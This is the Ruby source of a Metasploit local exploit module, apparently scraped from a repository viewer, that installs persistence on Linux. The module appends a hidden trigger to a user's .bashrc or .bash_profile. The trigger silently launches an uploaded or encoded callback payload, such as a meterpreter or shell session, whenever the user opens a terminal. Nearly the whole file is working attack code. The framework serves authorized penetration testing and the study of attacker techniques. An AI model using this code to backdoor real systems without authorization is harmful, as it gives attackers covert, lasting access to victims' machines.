Path: blob/master/modules/exploits/linux/persistence/bash_profile.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Auxiliary::Report11include Msf::Exploit::EXE # for generate_payload_exe12include Msf::Post::Linux::User13include Msf::Exploit::Local::Persistence14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Exploit::Deprecated16moved_from 'exploits/linux/local/bash_profile_persistence'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Bash Profile Persistence',23'Description' => %q{24This module writes an execution trigger to the target's Bash profile.25The execution trigger executes a call back payload whenever the target26user opens a Bash terminal.27Verified on Ubuntu 22.04 and 18.04 desktop with Gnome28},29'License' => MSF_LICENSE,30'Author' => [31'Michael Long <bluesentinel[at]protonmail.com>'32],33'Payload' => {34'BadChars' => '#%\n"'35},36'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell37'Platform' => ['unix', 'linux'],38'Arch' => [39ARCH_CMD,40ARCH_X86,41ARCH_X64,42ARCH_ARMLE,43ARCH_AARCH64,44ARCH_PPC,45ARCH_MIPSLE,46ARCH_MIPSBE47],48'SessionTypes' => ['meterpreter', 'shell'],49'Targets' => [50['Automatic', {}]51],52'DefaultTarget' => 0,53'References' => [54['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]55],56'Notes' => {57'Reliability' => [ REPEATABLE_SESSION, EVENT_DEPENDENT ],58'Stability' => [ CRASH_SAFE ],59'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]60}61)62)6364register_options(65[66OptString.new('BASH_PROFILE', [true, 'Target Bash profile location. Usually .bashrc or .bash_profile.', '.bashrc']),67OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']),68]69)70end7172def target_user73return datastore['USER'] unless datastore['USER'].blank?7475whoami76end7778def profile_path79user = target_user80home = get_home_dir(user)81"#{home}/#{datastore['BASH_PROFILE']}"82end8384def check85print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')86ppath = profile_path8788# check that target Bash profile file exists89return CheckCode::Safe("Bash profile does not exist: #{ppath}") unless exist?(ppath)9091vprint_good("Bash profile exists: #{ppath}")9293# check that target Bash profile file is writable94return CheckCode::Safe("Bash profile is not writable: #{ppath}") unless writable?(ppath)9596vprint_good("Bash profile is writable: #{ppath}")9798CheckCode::Detected("Bash profile exists and is writable: #{ppath}")99end100101def install_persistence102# create Bash profile backup on local system before persistence is added103ppath = profile_path104backup_profile = read_file(ppath)105106backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')107print_status("Created backup Bash profile: #{backup_profile_path}")108109if payload.arch.first == 'cmd'110pload = payload.encoded111pload = pload.sub(/&$/, '') # remove trailing & since we add it later112exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null113else114# upload persistent payload to target and make executable (chmod 700)115payload_path = datastore['WritableDir']116payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"117payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)118payload_path << payload_name119upload_and_chmodx(payload_path, generate_payload_exe)120121# write payload trigger to Bash profile122exec_payload_string = "#{payload_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null123end124append_file(ppath, exec_payload_string)125vprint_status('Created Bash profile persistence')126print_good('Payload will be triggered when target opens a Bash terminal')127128@clean_up_rc = "rm #{payload_path}\n"129@clean_up_rc << "upload #{backup_profile_path} #{ppath}"130end131end132133134